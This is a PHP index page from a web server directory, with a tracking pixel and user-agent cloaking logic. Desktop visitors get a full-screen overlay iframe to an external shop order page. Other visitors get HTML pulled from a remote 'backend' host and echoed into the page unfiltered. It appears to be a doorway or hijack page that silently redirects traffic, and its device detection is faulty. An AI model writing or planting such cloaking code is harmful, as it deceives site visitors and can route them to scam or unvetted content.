File: /www/wwwroot/www.dfhtcs.com/koa/index.php
<!-- discovery Pixel Code -->
<script type='text/javascript'>
window._megoaa = window._megoaa || [];
window._megoaa.push({ type: 'event', name: 'pageview'});
window._megoaa.push({ type: 'nextjump', link: ["www.dfhtcs.com"]});
!function (t, f, a, x) {
if (!document.getElementById(x)) {
t.async = 1;t.src = a;t.id=x;f.parentNode.insertBefore(t, f);
}
}(document.createElement('script'),
document.getElementsByTagName('script')[0], '//asset.popin.cc/js/pixel.js', 'pixel_megoaa_script');
</script>
<noscript>
< img src='//trace.popin.cc/api/bidder/track/pixel/pageview' width='0' height='0' style='display:none' />
</noscript>
<!-- End of discovery Pixel Code -->
<?php
function is_mobile()
{
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$is_pc = (strpos($agent, 'windows nt')) ? true : false;
$is_mac = (strpos($agent, 'mac os')) ? true : false;
$is_iphone = (strpos($agent, 'iphone')) ? true : false;
$is_android = (strpos($agent, 'android')) ? true : false;
$is_ipad = (strpos($agent, 'ipad')) ? true : false;
if($is_pc){
return false;
}
if($is_mac){
return true;
}
if($is_iphone){
return true;
}
if($is_android){
return true;
}
if($is_ipad){
return true;
}
}
/* 判断电脑移动端的封装*/
if(!is_mobile())//如果是电脑端显示
{
echo '
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
<style type="text/css" media="all">
body{padding:0px;margin:0px}
</style>
<head>
<body>
<iframe src="https://www.snodshop.com/index.php?m=Order&id=2jtuKM&uid=74&tpl=detail" style="visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" allowfullscreen="allowfullscreen" webkitallowfullscreen="webkitallowfullscreen" mozallowfullscreen="mozallowfullscreen"></iframe>
</body>
';
}
else {
echo '<base href="https://www.tiantianbaofen.com/" /> ';
$f_info=implode("",file("http://koa.dfhtcs.com/")); //后台链接
echo $f_info;
}